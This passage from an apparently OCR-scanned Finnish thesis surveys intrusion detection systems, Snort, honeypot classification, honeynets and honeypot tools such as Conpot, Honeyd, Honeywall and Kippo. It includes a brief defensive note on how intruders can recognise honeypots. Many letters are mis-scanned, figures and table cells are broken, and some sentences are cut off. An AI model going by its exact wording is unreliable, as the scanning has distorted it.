td, onnistuneista murtautumisista, murtautujien sijainneista ja murtautumiseen
kédytettavistd menetelmistd sekd toimista murretussa tietojdrjestelméssa.
Tulosten avulla ymmarretddan paremmin, ketd tai mitd murtautujat ovat,
miten jdrjestelmiin pyritddn murtautumaan ja mihin onnistunut murtautumi-
nen mahdollisesti johtaa. Tutkimustuloksia voidaan hyodyntdd tietojdrjestel-
mien suojauksen parantamiseen, hunajapurkkiin ladattujen haittaohjelmien
tarkempaan analysointiin, esimerkiksi hiekkalaatikkoympariston tai koodiana-

sessa.
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4 HYOKKAYKSENTUNNISTUSJARJESTELMISTA

Téssd luvussa perehdytddn erilaisiin hyokkayksentunnistus- ja estojdrjestelmiin
(IDS- ja IPS-jdrjestelmiin). Kdydaan lapi tunnettuja jarjestelmid ja niiden ominai-
suuksia sekd perehdytddn niiden tekniseen toimintaan ja kdyttoonottoon. Omi-
naisuuksien esittelyjen yhteydessd on mainittu myds niiden mahdollisia kayt-
tokohteita.

4.1 Erilaisia IDS-jdrjestelmid

Hunajapurkit lukeutuvat hyokkdyksentunnistus- eli IDS-jarjestelmiin. Téssa
kappaleessa esitellddan muutamia tunnetuimpia hyokkayksentunnistusjdrjes-
telmié ja niiden keskeisid ominaisuuksia.

IDS-jérjestelmét luokitellaan tyypillisesti kolmeen kategoriaan: verkko-
pohjaisiin IDS-jarjestelmiin (network-based intrusion detection systems, NIDS)
ja isdntdpohjaisiin IDS-jarjestelmiin (host-based intrusion detection systems,
HIDS). Lisdksi muuntyyppisiksi IDS-jdrjestelmiksi voidaan luokitella myos lo-
kien tutkimiseen tarkoitetut tyokalut, tiedostojen eheystarkistustyokalut (file
integrity chekers), sekd hunajapurkit. (Baumrucker ym., 2003).

NIDS-jdrjestelmé asennetaan valvonnan kohteena olevaan verkkoon teh-
tdavanddn valvoa eri verkkolaitteiden vilistd tietoliikennettd. Téallaiset jdrjestel-
mit eivdt ole verkossa tyypillisesti yhteydenoton kohteina, vaan niiden tehta-
vdnd on valvoa eri laitteiden vilistd liikennettd. NIDS-jdrjestelmét voivat olla
valmistajasta ja tuotteista riippuen laite- tai ohjelmistopohjaisia. Valitun tyypin
mukaan ne voivat olla liitettdvissa erityyppisiin verkkoihin, kuten ethernet- tai
valokuituverkkoihin. NIDS-jarjestelmét kayttavat tyypillisesti kahta verkko-
sovitinta ja ovat liitettyind kahteen aliverkkoon: toista kédytetddan verkkovalvon-
taan valvottavassa verkossa, ja toista kdytetddn laitteen hallintaan ja raportointi-
toimiin omassa aliverkossaan. Joissakin verkkokytkimissa on liikenteen repli-
kointimahdollisuus valituista porteista NIDS-jdrjestelmaille. NIDS-jdrjestelmat
voivat tunnistaa haitallisen liikenteen joko tunnistetun tyypin perusteella (signa-
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ture-based) tai poikkeamien tunnistuksen avulla (anomaly-based). (Baumrucker
ym., 2003).

HIDS-jdrjestelmdt (isantdpohjaiset) sijaitsevat verkkoyhteyksid vastaanot-
tavilla laitteilla ja palvelimilla - eli toisin kuin NIDS-jdrjestelmien tapauksessa,
kyseisiin jdrjestelmiin avataan verkkoyhteyksid. HIDS-jdrjestelmd asennetaan
useimmiten palvelimelle, kadyttotarkoituksenaan seurata palvelimen kayttojar-
jestelmdd ja ohjelmistojen kayttdytymistd palvelimella. Tyypillisimmin ndma
jarjestelmdt asennetaan kriittisiin palvelimiin, kuten nimipalvelimiin (DNS),
sahkopostipalvelimiin ja web-palvelimiin. HIDS-jdrjestelmé voi seurata esimer-
kiksi yllattavida kayttooikeuksien vaihtumisia tiedostojdrjestelmdssa sekd vaa-
rinmuotoiltuja viestejd tai virhetilanteita asiakas- ja palvelinjdrjestelmien vali-
sessd kommunikoinnissa. (Baumrucker ym., 2003).

Tyypillisia HIDS-jarjestelmien valvontatoimia ovat esimerkiksi tiedostojen
eheystarkitukset (file integrity checking), joilla valvotaan muutoksia kayttojar-
jestelmdn tai sovellusohjelmistojen binddritiedostoissa. Tarkistukset toteutetaan
usein luomalla sdannollisesti MD5-tarkistussummat ohjelmistojen bindéri- ja
konfiguraatiotiedostoista ja vertaamalla niiden tarkistussummia aiempiin -
ndin havaitaan esimerkiksi jonkin tavallisen kdyttojarjestelméddn kuuluvan oh-
jelman korvautuminen haittaohjelmalla. Toinen tyypillinen valvontatoimi on
lokitiedostojen automaattinen tarkastaminen - esimerkiksi valvotaan toistuvia
epdonnistuneita kirjautumisyrityksid. (Baumrucker ym., 2003).

Lisdksi on olemassa hybridi-IDS-jirjestelmid (Hybrid IDS), jotka sisdltavat
sekd NIDS- ettd HIDS-jdrjestelmien ominaisuuksia. Téllaisia voidaan kayttad
esimerkiksi web-palvelimissa valvomaan sekd kdyttojdrjestelmén ja ohjelmisto-
jen toimintaa, sekd myos suoraan kyseiseen palvelimeen kohdistuvaa verkko-
lilkkennettd. (Baumrucker ym., 2003).

Hunajapurkit luokitellaan vield omaksi ryhmékseen, koska ne eivit varsi-
naisesti ole vain tuotantoympdriston valvontatyotkaluja, vaan toimivat itsendi-
sind palvelimina.. Hunajapurkit vaikuttavat ulkoisesti palvelua tarjoavilta haa-
voittuvilta palvelimilta, ja niitd kdytetdan niihin kohdistuvien toimien valvon-
taan ja raportointiin.

Kaikki IDS-jarjestelmét pddasiassa valvovat muita jarjestelmid ja tekevit
hilytyksida padkayttdjalle, minkd lisdksi ne voivat tehdd myos joitakin auto-
maattisia toimia, kuten sddntdjen pdivityksid palomuuriin. (Baumrucker ym.,
2003).

Kuviossa 3 on havainnekuva tyypillisestd NIDS-jdrjestelmdn kokoonpa-
nosta. Tdssd tapauksessa kaikki liikenne, joka kulkee DMZ-kytkimen ldpi, mo-
nitoroidaan IDS:n avulla. Kun hyockkaédjan (1) tuottama reunapalomuurilta sisa-
verkkoon saapuva liikenne tulee DMZ-kytkimelle (2) ja kytkin havaitsee sen
olevan asiaankuulumatonta, se vdlittdd sen kohdepalvelimen sijaan IDS-
palvelimelle, jossa liikenne analysoidaan ja asiasta ilmoitetaan verkkoa hallin-
noivalle padkayttdjalle (3).
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Padkayttaja

i -1

Reunapalomuuri Kohdepalvelin

Hyokkays

havaittu

Hyokkaaja

Kuvio 3. Tyypillinen NIDS-jdrjestelman kokoonpano.

4.2 Snort IDS ja Snort_inline IPS

Snort on avoimen ldhdekoodin hyodkkadyksentunnistusjdrjestelmd. Se analysoi
tietoliikennettd reaaliajassa ja reagoi tunnistamiinsa hyokkayksiin. Snort reagoi
paketteihin sadnnoston pohjalta, joita voidaan helposti lisdtda Snortin sdantotie-
tokantaan. Tamdn vuoksi Snortia kutsutaan piirteisiin perustuvaksi (signature
based) jdrjestelmdksi. Jarjestelman vahvuus on erityisesti sen taidossa tunnistaa
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hyokkayksid, jolloin vadrid halytyksid (false positive) tulee mahdollisimman
vdhdn. On kuitenkin tidrke&sd, ettd jarjestelmén kayttdjd tuntee sen hyvin, koska
vddrin asennettuna jdrjestelmd voi menettdd merkityksensd, tai ei ainakaan saa-
vuta haluttuja tuloksia. Esimerkiksi hyokkdyksen tapahtuessa hilytyksid voi
tulla todella paljon, joka vaikeuttaa niiden tulkintaa. Lisdksi jarjestelmén kaytta-
jan on tunnettava hyvin ympdristonsa (kuten kdytossa olevat kayttojarjestelmat
ja niiden haavoittuvuudet), jotta tiedetddn valvoa oikeita asioita ja tiedetddn,
mihin palveluihin hyotkkdykset todenndkodisesti suuntautuvat. (Kumar &
Sangwan, 2012).

Snort voidaan asettaa toimimaan kahdessa tilassa: haistelutilassa (Sniffer
mode) ja kirjaustilassa (logger mode). Haistelutilassa jédrjestelméa kayttda packet
sniffer -tekiikkaa, eli kerdd paketeista otsikkotiedot ndyttden tai tallentaen ne
valvovaa kayttdjad varten. Kirjaustilassa kaikki paketit tallennetaan tiedostoon
analysointia varten. (Kumar & Sangwan, 2012).

Snortiin kuuluu my6s Snort_inline ~hyokkayksenestojarjestelma (IPS), jo-
ka hallitsee iptablesin (Linux-kdyttojdrjestelmien ytimeen toteutettu palomuuri)
avulla ulospdin ldhtevdd liikennettd estien haitallisen liikenteen kulkemisen
ulos valvottavasta jdrjestelmdstd. Talld pyritddn suojaamaan muita samassa
verkossa olevia jdrjestelmid.

Snort sisdltdd taulukossa 1 esiteltdvat padkomponentit. Jokainen kompo-
nentti toimii itsendisend vilittden tietoa seuraavalle komponentille, joka taas
osaltaan késittelee saadun informaation. Liikenne késitellddan Snortin sddntojen
mukaan ja epdasianmukaisesta liikenteestd tehd&ddn lokimerkinnit ja hilytetdadn
verkon padkayttdjad. Kuvio 4 havainnollistaa pakettien liikkumisen komponen-
tilta toiselle, jotka sddntojen mukaisesti huolehtivat informaation késittelysta.

Packet Decoder

Y

Logging and

Preprocessors ;
P Alering System

Detection Engine

Y

v
h 4

ar
h 4 Log to a file

Packet s Qutput
dropped Modules

Y

Cutput Alert

Kuvio 4 Snortin moduulit ja toimintajérjestys
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TAULUKKO 1 Snortin padkomponentit

Komponentti

Toiminta

Packet Decoder

Preprocessors

Detection Engine

Logging and Alerting System

Output Modules

4.3 Yhteenveto

Tdssd luvussa kasiteltiin IDS- ja IPS-jdrjestelmid sekd niiden ominaisuuksia. Yk-
si tunnetuimpia ja kdytetyimpid jdrjestelmid on avoimen lihdekoodin Snort,

Kerdd paketit verkkosovittimelta ja
ldhettdd ne edelleen Preprocessor-
komponentille. Verkkosovitin voi
olla minkd tyyppinen tahansa, kuten
esimerkiksi ethernet, SLIP, PPP.
Jarjestdd paketit ja huolehtii, ettd ne
ovat eheitd. Jos paketit ovat kunnos-
sa, ne ldhetetddn eteenpdin Detection
Engine -komponentille. Jos paketit
ovat epdilyttavid, esimerkiksi sisdlta-
viat epamaddrdisid otsikkotietoja tai
muuta informaatiota, joka voi huijata
IDS-jarjestelmdd, ne tiputetaan (drop)
ja tarvittaessa hilytetdan kayttsjaa jo
tassd vaiheessa.

Pyrkii tunnistamaan hyokkdykseen
kaytettavat paketit Snortin saannos-
ton pohjalta. Tallaiset paketit tipute-
taan ja muodostetaan hélytys. Tama
vaihe on jarjestelmdd kuormittava,
joten pakettien vélittdmisen nopeus
riippuu kédytettdvéastd laitteistosta ja
sddntojen madrasta.

Huolehtii tietojen kirjaamisesta lokiin
ja héalyttaa kayttdjad tarvittaessa. Li-
nux-jdrjestelmissd lokitiedostot sijait-
sevat oletuksena polussa
/var/log/snort.

Nayttdad tai tallentaa Logging and
Alering System -moduulin tuottamat
viestit konfiguraation perusteella.
Moduuli tukee mm. seuraavia tulos-
teen kasittelytapoja:

e Lokitiedoston kirjoitus (Li-
nux-jdrjestelmissa oletuksena
/var/log/snort/alerts)

e SNMP TRAP -viestit

e Viestit syslog-palvelulle

o XML-tulosteet

e SMB-viestit Windows-
pohjaisille jarjestelmille
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joka on erittdin tehokas hyokkédyksentunnistus- ja hyokkayksenestojdrjestelma.
Listattiin Snortin ominaisuuksia sekd esiteltiin Snortin modulaarista toimintaa.

Muitakin jdrjestelmid on olemassa ja lisdd kehitetddn jatkuvasti. Téassd tut-
kimuksessa perehdytddn suomalaisen kehittdjan toteuttamaan Kippo-
hunajapurkkiin sekd otetaan se kdyttoon muutaman viikon ajaksi, jonka avulla
kerdtddn tutkimusaineistoa Suomeen sijoitetun hunajapurkin havaitsemasta
liikkenteestd sekd murtautujien toiminnasta hunajapurkissa.
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5 TUNNETTUJA HUNAJAPURKKIJARJESTELMIA

Edellinen luku kasitteli erilaisia IDS- ja IPS-jarjestelmid, joihin myos hunaja-
purkkijarjestelmét lukeutuvat. Tdssd luvussa késitellddn tarkemmin hunaja-
purkkijdrjestelmid ja niiden tyyppejd. Perehdytddn niiden teknisiin ominai-
suuksiin sekd kayttokohteisiin. Jos hunajapurkkijdrjestelmien kaytolle on laajat
resurssit, on myds mahdollista toteuttaa useasta hunajapurkista koostuva ho-
neynet-verkko, jollaisesta on esimerkki timan luvun kappaleessa 5.3.

5.1 Hunajapurkeissa kidytettivd teknologia

Hunajapurkkiohjelmistojen avulla seurataan jdrjestelmdssa ja verkossa tapahtu-
vaa toimintaa, joten kaytettdvistd ohjelmistoista riippumatta niihin kuuluvat
tyypillisesti taulukossa 2 esiteltdvit perustoiminnot. N&itd ovat lokien tuotta-
minen, hilytykset, hyokkaysten ldhteen jiljittdiminen ja konfiguroitavuus. (Jain
& Singh, 2011).

Joissakin tapauksissa hunajapurkkijdrjestelmé voi olla hyokkadjan tunnis-
tettavissa siihen liittyvien teknisten erityispiirteiden avulla. Hunajapurkkien
tunnistamiseksi on kehitetty menetelmid, joiden perusteella murtautuja voi tie-
tdd olevansa kirjautuneena hunajapurkkiin. Tunnistaminen vaatii tietimysta
hunajapurkkijarjestelmistd, mutta esimerkiksi Sebek-ohjelmisto voidaan tunnis-
taa sen kayttamien kdyttojarjestelmakomponenttien avulla. Usein myos kone on
tunnistettavissa hunajapurkiksi, varsinkin jos kyseessd on virtuaalikone ja silld
on normaalikdyttoon riittaméattomat laiteresurssit (esimerkiksi keskusmuisti tai
kiintolevytila).. Kolmantena yksityiskohtana epdilyksid voi herattdd ”omituiset”
verkkomddritykset, esimerkiksi jonkin virtuaalisen aliverkon olemassaolo, jolla
ei ndyttdisi olevan kayttotarkoitusta. (Deng & Deng, 2011).

Tdytyy kuitenkin huomioida, ettd virtuaalikoneita perustetaan nykyadn
moniin eri kdyttotarkoituksiin ja niiden resurssit voivat olla kdyttokohteen mu-
kaan hyvinkin tarkkaan rajattuja. Lisdksi hunajapurkkiohjelmistosta riippuen
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(kuten tdssd tutkimuksessa kdytettava Kippo) ndyttavat laitteistoresurssit sellai-
sena, kuin ne konfiguraatiossa médritelldan.

TAULUKKO 2 Hunajapurkkijédrjestelmien tyypilliset perustoiminnot

Ominaisuus Selite

Lokien tuottaminen Jarjestelmdt tuottavat lokidataa ha-
vainnoistaan sekd tekstitiedostoon
ettd tietokantoihin. Tekstimuotoisen
lokin hytdyntdminen on helppoa,
eikd vaadi esimerkiksi lisdosien asen-
tamista jarjestelmdan. Tietokanta taas
on joustava ja tehokas apuviline tie-
don tutkimiseen ja tarkkoihin hakui-
hin.

Halyttaminen Jarjestelmat  tuottavat  halytyksid
hyokkayksiin  liittyen. Halytykset
voivat olla esimerkiksi sdhkopostitse
ilmoitettavia tai konsoliin tulostetta-
via halytysviesteja.

Hyokkayksen ldhteen jéljittaminen — Pyritddn selvittdimdan hyokkadjan
ldhde, eli tehd&ddn reitinselvitys (tra-
ceroute tai vastaava) takaisin hyok-
kadjan osoitteeseen.

Konfiguroitavuus Jarjestelman tulee olla madritettavis-
sd erillisen konfiguraation avulla,
joka voidaan tarvittaessa siirtdd uu-
teen ympéristoon. Néin voidaan hel-
posti perustaa uusia hunajapurk-
kiympéristoja.

5.2 Hunajapurkkien luokittelua

Hunajapurkki on tyypillisesti ei-tuotantokdytossa oleva jdrjestelmd, joka tarkoi-
tuksella altistetaan mahdollisille verkkohyokkayksille. Jarjestelméastd tehddan
tarkoituksellisesti haavoittuva, joka péaéllisin puolin yrittdd antaa murtautujalle
vaikutelman, ettd hdn on padssyt kiinni tuotantopalvelimeen tai organisaation
tietolitkenneverkkoon (Jain & Singh, 2011).

Hunajapurkkijadrjestelmén tehtédva ja toiminta tulee olla tarkkaan maaritel-
tyjd. Se voi toimia esimerkiksi SSH-, WWW- tai FTP-palvelimena. Sen pé&dasial-
linen tarkoitus on olla tutkimuksen apuvilineend tutkittaessa murtautujien
toimintaa ja tarkoitusperid. (Jain & Singh, 2011).

Hunajapurkkijarjestelmét luokitellaan usein kolmen eri kriteerin perus-
teella: kdyttotarkoituksen (purpose), vuorovaikutteisuuden (interaction) seka
asennustavan (deployment) mukaan.
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5.2.1 Kiyttotarkoitus

Hunajapurkkijdrjestelmdt voidaan jaotella kahteen kategoriaan kayttotar-
koituksen mukaan: tutkimus- ja tuontantokdyton hunajapurkit (research honey-
pot ja production honeypot). Tutkimuskdyton hunajapurkkeja kidytetdan nimensa
mukaisesti tutkimuksissa, joissa niiden tehtdvand on kerita tietoa pahantahtois-
ten kdyttdjien (blackhat hackers) hyokkays- ja tunkeutumismenetelmistd ja ndin
esimerkiksi edesauttaa tietoturvaohjelmistojen kehitystd seké etsid virheitd kay-
tossd olevista ohjelmistoista ja tietoliikenneprotokollista. Kerattyd tutkimusda-
taa voidaan hyodyntdad myos rikosteknisissd tutkimuksissa seké niistd voidaan
koostaa tarkempia tilastollisia analyysejd. (Jain & Singh, 2011).

Tuotantokdyton hunajapurkit sen sijaan sijoitetaan tuotantojdrjestelmien
rinnalle, joissa niiden tehtdvidnd antaa suojaa organisaation tuotantojarjestelmil-
le ja palveluille. Tallaiset hunajapurkit voivat esimerkiksi varoittaa mahdollisen
hyokkayksen kdynnistymisestd - tyypillisesti kaupallisten www-palvelimien
tietolitkennemadérat ovat suuria, joten niissd ei voida sellaisenaan tehokkaasti
skannata niihin ohjautuvaa liikennettd. Tuotantokdyton hunajapurkit ovat ldh-
tokohtaisesti ndkymaéttomid, eli niiden toiminnasta ei tulisi padllisin puolin pys-
tyd pddttelemddn, ettd jarjestelmid monitoroidaan aktiivisesti. (Jain & Singh,
2011).

5.2.2 Vuorovaikutteisuus

Hunajapurkkijdrjestelmét voidaan jakaa vuorovaikutteisuuden mukaan
matalan (low interaction), keskitason (medium interaction) ja korkean (high
interaction) vuorovaikutteisuuden, eli interaktion, jdrjestelmiin (Yahyaoui,
2014).

Matalan vuorovaikutuksen hunajapurkit ovat mahdollisimman hyvin eril-
ladn tuotantojdrjestelmistd. Téllaiset hunajapurkit emuloivat verkkopalveluita,
jolloin murtautujat padsevat kiinni vain rajoitettuihin palveluihin. Téllaiset hu-
najapurkit ovat teknisesti helposti toteutettavissa, ja pienentédvit tuotantojarjes-
telmien vahingoittumisen riskid. (Sharma & Sran, 2011).

Keskitason vuorovaikutuksen hunajapurkit emuloivat matalan interaktion
hunajapurkkien tavoin verkkopalveluita, mutta tarjoavat murtautujalle laa-
jemman ndkymaén palvelua esittdvadn jarjestelmadn. Esimerkiksi SSH:lla kirjau-
tuessaan tdllainen hunajapurkki tarjoaa murtautujalle ndkyman aitoa kayttojar-
jestelmdd muistuttavaan ympdaristoon, mutta nakyma todellisuudessa tuotetaan
hunajapurkin sisdlld, eikd kayttdjdlla ole padsyd hunajapurkin ulkopuolelle.
(Yahyaoui, 2014).

Korkean vuorovaikutuksen hunajapurkit sen sijaan tarjoavat paasyn kaytto-
jarjestelmatasolle (esimerkiksi etdkdytto SSH:n avulla). Téllaiset jdrjestelmét
antavat murtautujille enemmén mahdollisuuksia toimimiseen, ja ndin ollen si-
sdltdvat suuremman riskin tuotantojarjestelmien vahingoittumiselle. Etuna kor-
kean vuorovaikutuksen hunajapurkissa on krakkerin laajempien toimintamah-
dollisuuksien myotd paremmat mahdollisuudet valvoa krakkerin jarjestelméassa



30

suorittamia toimia ja ndin pyrkid pddsemddn paremmin perille hyokkayksen
motiiveista. (Sharma & Sran, 2011).

5.2.3 Asennustapa

Kolmas tapa luokitella hunajapurkkeja on jakaa ne asennustavan (deplo-
yment) mukaan. Té&lld tarkoitetaan alustaa, johon hunajapurkki asennetaan - se
voi olla fyysinen laite tai virtuaalikone. Virtuaalikone on nykyé&an edullisempi
ja helpompi tapa hunajapurkin toteuttamiselle, koska sen resurssit skaalautuvat
tarvittaessa ja yhteen laitteeseen voidaan asentaa useita hunajapurkkeja. Tama
edellyttdd virtualisointia tukevaa laitteistoa sekd virtualisointiohjelmistoa (hy-
pervisor), kuten VMware tai vastaava. Fyysiseen koneeseen asennettaessa hu-
najapurkki varaa kdytdnnossd koko koneen, joten sen ylldpito voi muodostua
kalliimmaksi ja hankalammaksi. (Yahyaoui, 2014).

5.3 Useasta hunajapurkista koostuva honeynet-verkko

Jos kaytettdvissd on laajemmat laitteisto- ja henkiloresurssit, voidaan yksittai-
mien verkkoon. Téillainen verkko koostuu yleensd useammasta hunajapurkista,
joiden avulla toteutetaan kokonaista tuotantoympdristod vastaava verkko, ka-
sittden useita palvelimia ja verkkopalveluita.

Téllaisesta ympadristostd kdytetddn termid honeynet. Se koostuu useista
korkean vuorovaikutuksen hunajapurkista muodostaen kokonaisen valvotun
litaan. Honeynet ei siis ole tietokoneelle asennettava valmisohjelmisto, vaan se
on arkkitehtuuri, jossa kokonainen verkko on suunniteltu tutkimaan hyokkaa-
jien toimintaa. (Sharma & Sran, 2011).

Kuvio 5 kuvaa erdstd honeynet-verkon toteutustapaa. Tuotanto- ja ho-
neynet-verkot muodostavat omat aliverkkonsa ja internetistd sisddntuleva lii-
kenne (mahdollisin poikkeuksin) ohjataan honeynet-verkkoon. Honeynet-
verkossa olevat palvelimet on toteutettu ndyttamé&an samankaltaisilta kuin tuo-
tantoverkon palvelimet, eli jokaisella niilld on omat roolinsa ja palvelinten valil-
14 on tuotettu aidon nékoista verkkoliikennettd.
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INTERNET
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gatgway
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Honeypot Honeypot Honeypot
192.168.2.15 192.168.2.20 192.168.2.30

Kuvio 5 Erds honeynet-toteutus

5.4 Hunajapurkkiohjelmistojen esittelya

Tdssd luvussa on esitelty lyhyesti tunnettuja hunajapurkkiohjelmistoja. Hunaja-
purkkijédrjestelma voidaan toteuttaa myos ilman tdhén tarkoitukseen toteutettu-
ja ohjelmistoja, jolloin valmiiden kayttojarjestelmétyokalujen toimintaa tai esi-
merkiksi lokien replikointia voidaan muuttaa siten, ettd havaitusta verkko-
hyokkédyksestd halytetdan. Valmiit ohjelmistot kuitenkin siséltavat paljon pe-
rusominaisuuksia, jotka usein ovat riittdvia varsinkin tutkimuskayttoon tarkoi-
tetussa hunajapurkissa.
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5.4.1 Conpot

Conpot on avoimen ldhdekoodin ohjelmisto, joka on tuotettu p&ddasiassa teolli-
suuden tarpeisiin. Jarjestelmd on matalan interaktion hunajapurkki, joka simu-
loi teollisuudessa kaytettavid kriittisen infrastruktuurin ICS+jarjestelmia (In-
dustrial Control System), kuten SCADA-jdrjestelmid. Conpot tarjoaa hyokkaa-
jélle toteutuksen tuotantoympdristdissa kaytettaviin protokolliin ja jarjestelman
murtautujalle ndyttamét paluuarvot viiveineen on tehty mahdollisimman us-
kottavan oloisiksi. Conpot on osa laajaa The Honeynet Project —organisaatiota.
(Conpot, 2016).

SCADA -jdrjestelmid kdytetddn teollisuudessa useaan paikkaan sijoitettu-
jen laitteiden keskitettyyn ohjaukseen ja valvontaan. Jarjestelmien kayttokohtei-
ta on mm. vedenjakelussa, polttoaineiden jakelussa, energiantuotannossa, 6ljyn-
jalostuksessa, lento- ja laivaliikenteen ohjauksessa, avaruustutkimuksessa seka
lamityksen ja jadhdytyksen ohjauslaitteissa. SCADA-ympdristoissd laitteiden ja
sensorien viestit vilitetddn omassa SCADA-verkossaan ja niitd késitellddn kes-
kitetysti ohjauskeskuksessa (SCADA master station). Kayttdjille tarjotaan né-
kymad jédrjestelméddn erillisten HMI-ohjelmistojen (Human Machine Interface)
avulla, joita voidaan ajaa esimerkiksi selainpohjaisesti tai dlylaitesovelluksilla.
Namd ohjelmistot ovat tyypillisesti yhteydessd SCADA-jdrjestelmé&édn internet-
yhteyden kautta. SCADA-jdrjestelmén keskeinen osa ovat informaatiota kerdda-
viat RTU-laitteet (Remote Terminal Unit), jotka usein ovat yksinkertaisempia
PLC-laitteita (Programmable Logic Controller). Jédrjestelmien eri osien vélinen
viestintd on ratkaistu lukuisin eri tavoin, eiki SCADA-toteutuksissa ole aina
kiinnitetty riittdvasti huomiota jdrjestelmédn eri osien suojauksiin. SCADA-
ympdristoihin on tehty paljon hyokkadyksid ja tietomurtoja, kuten vakoilua, tie-
don kopiointia, suojausavainten jakelua sekd aiheutettu hdirioitd tuotannossa.
(Shahzad, Musa, Aborujilah & Irfan, 2014).

Conpot on hunajapurkkitoteutus, joka mahdollistaa ICS-jdrjestelmiin koh-
distuvien hyokkadysten ja murtautumisyritysten tutkimisen. Jarjestelmaan voi-
daan kytked aitoja ICS-jdrjestelmén osia, jolla voidaan simulaation sijaan tuottaa
aitoja tilanteita tuotantoympaéristod vastaavassa kokoonpanossa. (Conpot, 2016).

5.4.2 Honeyd

Honeyd (http:/ /www.honeyd.org) on GNU-lisenssin alainen vapaa ohjelmisto,
jota ajetaan olemassa olevalla palvelimella palveluna (daemon). Ohjelma luo
virtuaalisia isdntdkoneita (virtual hosts), joilla nédyttdd pyorivan aito kadyttojar-
jestelmd palveluineen. Honeyd tukee useita ip-osoitteita, joten sen avulla voi-
daan luoda vaikutelma usean palvelimen tai aktiivilaitteen (esimerkiksi reitit-
timet ja langattomat tukiasemat) verkosta. (Singh & Joshi, 2011).

se madritetddn ndyttdytymaéaan:
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o Kiyttojarjestelmd - voidaan madrittdd miksi tahansa

e Verkkotopologia - voidaan luoda millainen verkkotopologia tahan-
sa, joka on murtautujan skannattavissa

e TCP/IP-pino - poikkeavat kayttojdrjestelmittdin, voidaan madrittad
ndyttaytyvad kayttojarjestelmad vastaavaksi

e Palvelut - voidaan maédrittdd palveluja haavoittuvuuksineen, jotka
ndyttdvit olevan ajossa

e Puskurin ylivuoto (buffer overflow) - tietyissa tilanteissa antaa vai-
kutelman, ettd jdrjestelmd on kaatunut, ja ndyttdytyy siten haavoit-
tuvuutena

Honeyd tuottaa runsaasti lokeja, joiden késittelyyn on tuotettu muutamia
ohjelmistoja, kuten Honeysum ja HoneyView, minka lisdksi hyva tyokalu
on myos yleiskdyttdisen Swamill -lokitiedostojen raportointiohjelma.
(Singh & Joshi, 2011).

5.4.3 Honeywall

Honeywall on avoimen ldhdekoodin ohjelmistokokoelma, josta 16ytyy ajankoh-
taista tietoa ja on ladattavissa osoitteesta
https:/ / projects.honeynet.org/honeywall/. Ohjelmisto on tehty helposti kay-
tettdvadksi ja on ladattavissa valmiina levykuvana, jonka avulla jédrjestelmd voi-
daan pystyttdd hyvin nopeasti.

Honeywall on suunniteltu reitittimdan liikennettd, eli se perustetaan var-
sinaisen ulkoverkon reitittimen taakse reitittdm&ddn liikennettd honeynet-
verkkoon ja sieltd ulos. Honeywall on suunniteltu olemaan hyokkasgjille taysin
lapindkyvd, eli lilkenteen kulkemista sen kautta ei voida todentaa - kadytannos-
sd se kdaantaa ja reitittdd paketit muuttaen niiden IP- ja MAC-osoitteet. (Sharma
& Sran, 2011).

Honeywall-ohjelmistolla on kolme pé&atarkoitusta:

1. Datan kerddminen (Data Capture): kaikki hyokkaddjan toiminta, eli
suoritetut komennot ja niistd saatu palaute, monitoroidaan ja tal-
lennetaan hyokkadjan tietamatta.

2. Datan kontrollointi (Data Control): valvotaan ja rajoitetaan haitallis-
ta liikennettd, joka liikkuu sisddn tai ulos honeynet-verkosta. Talla
varmistetaan, ettd kaikki haitallinen liikenne pidetddn honeynet-
verkon sisdlld, eikd silld vaaranneta muuta ymparistoa.

3. Datan analysointi (Data Analysis): analysoidaan keréttyd dataa ana-
lysointitytkalujen avulla.

Kuviossa 5 esitettiin honeynet-toteutus, jossa on hyddynnetty Honeywall-
ohjelmistoa. Vastaavan reitittimen voi rakentaa itsekin samoja ohjelmistoja
hyodyntden, mutta Honeywall tarjoaa valmiin levykuvan tdhan kayttotarkoi-
tukseen.
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Honeywall-ohjelmiston levykuva sisédltdd seuraavia ohjelmistoja:

o Tcepdump: pakettien analysointi

e Sebek: tyokalu datan kerddamiseen. Sebekid on kaisitelty tarkemmin
IDS-jdrjestelmien yhteydessa.

e Snort: hyokkadyksentunnistusjdrjestelma (IDS). Myo6s Snortia on ké-
sitelty tarkemmin IDS-jdrjestelmien esittelyssa.

e Snort_inline: hyokkayksenestojdrjestelma (IPS)

e HFlow2: datan vastaavuuden analysointi Honeynet-projektin data-
analyysid varten

e POf: Passive OS Finferprinting -tyokalu

o Walleye Web Interface: Selainpohjainen graafinen tyckalu Ho-
neywall:n konfigurointiin, hallintaan ja datan analysointiin.

(Sharma & Sran, 2011).

5.4.4 Kippo

Kippo on suomalaisen Upi Tammisen kehittdimd, Python-ohjelmointikielelld
toteutettu hunajapurkkiohjelmisto, joka sisdltdd SSH-toteutuksen sekd nadkyman
Linux-ympadriston kaltaiseen ympaéristoon. Kippo jdljittelee internetiin kytkettya
SSH-palvelinta ja kuuntelee TCP-porttia 22, jota kadytetddn yleisesti SSH-
palvelinyhteyksiin. Kippo voidaan luokitella keskitason interaktion (medium
interaction) hunajapurkiksi, koska se antaa murtautujalle aidonoloisen ymparis-
ton komentojen antamiselle ja mahdollisuuden haittaohjelmien lataamiselle.
(Yahyaoui, 2014).

Kipon kayttoonotto oli kohtalaisen helppoa ja se osoittautui tutkimuksen
alkuvaiheessa erittdin hyvin toimivaksi, joten sitd kdytetddn tdssd tutkimukses-
sa. Kipon asetustiedostoissa madritellddn kdyttdjatunnus-salasanaparit, joiden
avulla murtautuja voi péddstd kirjautumaan jdrjestelméddan. Kippo ndyttaytyy
murtautujalle tavanomaisena Bash-komentotulkkina ja ottaa vastaan yleisimpia
Linux-jarjestelmien komentoja. Komennot tuottavat aidonoloisen palautteen,
mutta niitd ei vélitetd taustalla olevan kdyttojdarjestelméan komentotulkille, vaan
ne ajetaan Kipon sisalla.
tdjan laatiman tai alkuperdisestd esimerkkitikonfiguraatiosta muokkaaman
fs.pickle -tiedoston avulla. Tiedostojdrjestelmanidkyma luodaan jokaisen kirjau-
tumisen yhteydessd uudelleen, joten tiedostoihin tehdyt muokkaukset, lisdtyt
tiedostot ja muut toimet eivit ndy toisille kayttdjille, eivatkda myoskadn tallennu
jarjestelmddn pysyvasti. Hakemistot ovat normaalisti selattavissa, mutta tiedos-
toja ei voi lukea. Lukeminen esimerkiksi cat-ohjelmalla antaa virheilmoituk-
sen "No such file or directory). Murtautujan tekemadt tiedostolataukset esimer-
kiksi wget-tyokalulla tallentuvat Kipon konfiguraatiossa mééritettyyn sijaintiin
